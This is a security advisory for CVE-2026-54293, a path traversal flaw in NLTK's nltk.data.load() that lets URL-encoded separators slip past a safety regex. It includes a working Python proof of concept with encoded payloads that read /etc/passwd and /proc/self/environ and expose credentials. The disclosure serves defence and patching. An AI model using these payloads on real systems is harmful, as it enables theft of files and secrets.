CVE-2026-54293

ADVISORY - github

Summary

Summary

nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.

Affected Component

nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. ### Proof of Concept ``` """ NLTK Arbitrary File Read via URL-Encoded Path Traversal

Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal)

Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """

import sys import os import warnings

Suppress NLTK security warnings for clean PoC output

warnings.filterwarnings("ignore", category=RuntimeWarning)

Setup

sys.path.insert(0, os.path.join(os.path.dirname(file), "nltk")) os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk from nltk.pathsec import ENFORCE

BANNER = """

NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce}

""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] first_line = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {first_line}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).name}: {e}") return False

def main(): print(BANNER) vulns = 0

# --- Variant 1: URL-encoded absolute path ---
print("[1] URL-encoded absolute path (%2f = /)")
if test_variant(
    "Encoded leading slash bypasses ^/ regex check",
    "nltk:%2fetc%2fpasswd",
):
    vulns += 1

print()

# --- Variant 2: Encoded dot-dot traversal ---
print("[2] URL-encoded dot-dot traversal (%2e = .)")
if test_variant(
    "Encoded dots bypass \\.\\./ regex check",
    "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
):
    vulns += 1

print()

# --- Variant 3: Literal dots with encoded slash ---
print("[3] Literal dots with encoded slash (..%2f)")
if test_variant(
    "Encoded slash after literal .. bypasses \\.\\./ regex",
    "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
):
    vulns += 1

print()

# --- Variant 4: Read process environment (credential leak) ---
print("[4] Read /proc/self/environ (credential leakage)")
try:
    content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
    env_vars = content.decode("utf-8", errors="replace").split("\x00")
    print(f"  [VULN] Leaked {len(env_vars)} environment variables")
    for var in env_vars[:3]:
        if var:
            key = var.split("=")[0] if "=" in var else var
            print(f"         {key}=...")
    vulns += 1
except Exception as e:
    print(f"  [SAFE] Blocked: {e}")

print()

# --- Control: verify normal traversal IS blocked ---
print("[CONTROL] Verify literal ../ is blocked by regex")
test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

print()
print("=" * 51)
print(f" Result: {vulns} bypass variant(s) succeeded")
if vulns > 0:
    print(" Status: VULNERABLE (url2pathname decodes after regex check)")
else:
    print(" Status: Not vulnerable")
print("=" * 51)

if name == "main": main()

### Impact
Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable)
/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets
Application source code and configuration files
Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.
EPSS Score: 0.00378 (0.299)

Common Weakness Enumeration (CWE)

ADVISORY - github

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.5high
PackageTypeOS NameOS VersionAffected RangesFix Versions
nltkpypi--<=3.9.4Not yet available

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is no loss of trust or accuracy within the impacted component.

There is no impact to availability within the impacted component.

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Ubuntu

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium

PypA

CREATED

UPDATED

ADVISORY ID

PYSEC-2026-2078

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

7.5high

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-mg56-c29x-gf4f

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY